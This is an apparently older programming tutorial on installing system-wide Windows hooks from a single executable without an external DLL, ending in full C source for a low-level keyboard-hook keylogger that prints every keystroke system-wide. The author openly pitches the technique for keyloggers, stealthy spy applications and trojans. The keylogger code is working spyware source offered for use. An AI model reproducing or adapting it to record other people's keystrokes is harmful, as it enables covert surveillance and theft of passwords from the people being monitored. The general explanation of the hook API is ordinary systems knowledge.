System-wide Windows Hooks without external DLL
I have seen a bunch of programs that make use of windows hooks to get various information. For instance, revealing the text of passwords edit controls under Windows 2000 and XP is only possible by using a hook procedure and many keyloggers use keyboard hooks. Hooks are a powerful tool in general, they can be used to spy various events in windows and are probably the best way to do so. This little tutorial will at first briefly explain the basics of installing, using and releasing hooks in Windows and why you might encounter problems if you want to avoid using an external DLL. Afterwards, of course, I will provide a solution for the problem. I will assume that you know how to code in C/C++, otherwise you wouldn't have started reading this anyway I suppose.
Installing and Uninstalling Hooks
The function used to install hooks is SetWindowsHookEx(), assuming that we are coding a 32-bit application. Quoting MSDN, it is defined as follows:
HHOOK SetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // identity of thread to install hook for
);
The first parameter, idHook, is usually set to a constant value that specifies which sort of hook is installed. You can hook the keyboard, you can hook the shell or the mouse, and SetWindowsHookEx wants to know what you would like to hook. Common values for this parameter are:
· WH_CALLWNDPROC Installs a hook procedure that monitors messages before the system sends them to the destination window procedure.
· WH_CALLWNDPROCRET Installs a hook procedure that monitors messages after they have been processed by the destination window procedure.
· WH_GETMESSAGE Installs a hook procedure that monitors messages posted to a message queue.
· WH_KEYBOARD Installs a hook procedure that monitors keystroke messages.
· WH_KEYBOARD_LL Installs a hook procedure that monitors low-level keyboard input events. Works only in Windows NT and later versions.
· WH_MOUSE Installs a hook procedure that monitors mouse messages.
· WH_MOUSE_LL Installs a hook procedure that monitors low-level mouse input events. Works only in Windows NT and later versions.
· WH_SHELL Installs a hook procedure that receives notifications useful to shell applications.
The second parameter, lpfn, is a function pointer to the procedure that will receive all hook events. This procedure has to look like this:
LRESULT CALLBACK HookProc(
int nCode, // hook code
WPARAM wParam, // parameter depending on the hook type
LPARAM lParam // parameter depending on the hook type
);
If you have hooked the keyboard, for instance, the function you defined when calling SetWindowsHookEx will be called each time the user presses a key. The wParam and lParam parameters can contain various information about the event that occured - for a keyboard hook procedure, you will usually get the virtual key code of the pressed key and similar stuff. For detailed information, you should check the Hooks Sections of MSDN.
The third parameter, hMod, is a handle to the module that contains the hook procedure. Once you read this, you certainly realize for the very first time that the HookProc function pointer should point to a function that can be exported from a dynamic link library by using the good old LoadLibrary() and GetProcAddress(). So it should not point to a function in your executable's code and you'd have to create an extra DLL to use our own hook procedure - and that would be a pain in the ass.
The fourth parameter, dwThreadId specifies the identifier of the thread that will be monitored by the installed hook. If this parameter is zero, the hook procedure is associated with all existing threads.
The function returns a HHOOK variable, which is yet another Win32 API name for a handle, or a void pointer. Anyway, this hook handle isn't of any real use to my knowledge, but you have to release the hook by calling UnhookWindowsHookEx() with this handle as the first and only argument.
Why Microsoft thinks we are their Hookers
If you read the description of SetWindowsHookEx() in the MSDN library carefully, these passages should annoy anyone who wants to code a keylogger or any other sort of spy application:
"If the dwThreadId parameter is zero or specifies the identifier of a thread created by a different process, the lpfn parameter must point to a hook procedure in a dynamic-link library (DLL). Otherwise, lpfn can point to a hook procedure in the code associated with the current process."
"The hMod parameter must be set to NULL if the dwThreadId parameter specifies a thread created by the current process and if the hook procedure is within the code associated with the current process."
Furthermore, MSDN tells you in their chapter about hooks:
"A hook procedure can be global, monitoring messages for all threads in the system, or it can be thread specific, monitoring messages for only an individual thread. A global hook procedure can be called in the context of any application, so the procedure must be in a separate dynamic-link library (DLL) module. A thread specific hook procedure is called only in the context of the associated thread. If an application installs a hook procedure for one of its own threads, the hook procedure can be in either the same module as the rest of the application's code or in a DLL. If the application installs a hook procedure for a thread of a different application, the procedure must be in a DLL. For information, see Dynamic-Link Libraries."
Looks like Microsoft doesn't like the idea of a single executable being able to monitor important system events and especially events generated by other threads - and so they added this restriction. Now this restriction is a pain in the ass if you are coding a stealthy application or even a trojan that cannot use a bunch of external libraries and even if you code a program that performs useful monitoring tasks - you probably don't want to code an extra DLL just to use Hooks.
I have seen many people coding applications that use hooks - and they actually did what they were told by MSDN: They made an extra DLL for the hooks they installed. However, when I was coding a keylogger that I wanted to power with windows hooks, I was not willing to add an extra DLL. I wanted the keylogger to be a stand-alone executable that did not require any other files. So I started to think about the whole issue for a while and the solution was easier than I had initially thought ...
Systemwide Hooks without external DLL
Well, let's see what parameters we have to provide to the SetWindowsHookEx function: The module handle to the DLL that contains the function, the function's address (the function pointer), and the thread ID should be either zero to monitor all threads or the ID of an external thread. Now saying "the module handle of a DLL" is not quite correct - actually, we just need to provide a HMODULE. A HMODULE is a handle to a binary file that has been loaded into memory - a file that uses the PE format, to be precise. Therefore, the Windows API does not distinguish between handles to DLL's and handles to executables, so a HMODULE can also be a handle to an executable.
So why should we bother to create a DLL and get a module handle to that file if we can just obtain a module handle to ourself, the executable that also installed the hook? Indeed, this would work. To obtain a module handle to your own application, you can merely call GetModuleHandle() with NULL as it's parameter, for instance. Now all you have to do is add the __declspec(dllexport) statement in front of your hook handler to make the function "exportable":
__declspec(dllexport) LRESULT CALLBACK HookProc(
int nCode, // hook code
WPARAM wParam, // parameter depending on the hook type
LPARAM lParam // parameter depending on the hook type
);
Furthermore, you do not need to call GetProcAddress() on your own module handle to get the address of the function, you can simply use its name (the one that you used instead of "HookProc") when calling SetWindowsHookEx. Installing a shell hook this would look like this:
__declspec(dllexport) LRESULT CALLBACK ShellEventHandler(
int nCode, WPARAM wParam, LPARAM lParam
) {
/* ... */
return CallNextHookEx(hKeyHook,
nCode,wParam,lParam);
}
HHOOK InstallHook()
{
HINSTANCE hExe = GetModuleHandle(NULL);
return SetWindowsHookEx (WH_SHELL,ShellEventHandler, hExe, NULL);
}
Easy as pie. I am wondering if this tutorial is actually worth writing because the whole thing is so enormously easy - but I have seen too many applications that actually use an external DLL although I am sure that a stand-alone executable would suit the respective programmers more.
Sample Source Code
Yay, sample source code! This one is a keylogger that works with low level keyboard hooks. It is a command-line application and although I am using VC++ only, I think it is compatible with other compilers as well:
// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.
#define _WIN32_WINNT 0x0400
#include
#include
#include
// Global Hook handle
HHOOK hKeyHook;
// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
int nCode, // The hook code
WPARAM wParam, // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
LPARAM lParam // A pointer to a struct with information about the pressed key
) {
if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
((wParam == WM_SYSKEYDOWN) || // Only react if either a system key ...
(wParam == WM_KEYDOWN))) // ... or a normal key have been pressed.
{
// This struct contains various information about
// the pressed key such as hardware scan code, virtual
// key code and further flags.
KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);
// dwMsg shall contain the information that would be stored
// in the usual lParam argument of a WM_KEYDOWN message.
// All information like hardware scan code and other flags
// are stored within one double word at different bit offsets.
// Refer to MSDN for further information:
//
// http://msdn.microsoft.com/library/en-us/winui/winui/
// windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
//
// (Keystroke Messages)
DWORD dwMsg = 1;
dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24;
// Call the GetKeyNameText() function to get the language-dependant
// name of the pressed key. This function should return the name
// of the pressed key in your language, aka the language used on
// the system.
char lpszName[0x100] = {0};
lpszName[0] = '[';
int i = GetKeyNameText(dwMsg,
(lpszName+1),0xFF) + 1;
lpszName[i] = ']';
// Print this name to the standard console output device.
printf(lpszName);
}
// the return value of the CallNextHookEx routine is always
// returned by your HookProc routine. This allows other
// applications to install and handle the same hook as well.
return CallNextHookEx(hKeyHook,
nCode,wParam,lParam);
}
// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task ...
void MsgLoop()
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );
}
}
// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
// Get a module handle to our own executable. Usually,
// the return value of GetModuleHandle(NULL) should be
// a valid handle to the current application instance,
// but if it fails we will also try to actually load
// ourself as a library. The thread's parameter is the
// first command line argument which is the path to our
// executable.
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
// Everything failed, we can't install the hook ... this
// never happened, but error handling is important.
if (!hExe) return 1;
hKeyHook = SetWindowsHookEx ( // install the hook:
WH_KEYBOARD_LL, // as a low level keyboard hook
(HOOKPROC) KeyEvent, // with the KeyEvent function from this executable
hExe, // and the module handle to our own executable
NULL // and finally, the hook should monitor all threads.
);
// Loop forever in a message loop and if the loop
// stops some time, unhook the hook. I could have
// added a signal handler for ctrl-c that unhooks
// the hook once the application is terminated by
// the user, but I was too lazy.
MsgLoop();
UnhookWindowsHookEx(hKeyHook);
return 0;
}
// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.
int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
DWORD exThread;
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
} else {
return 1;
}
}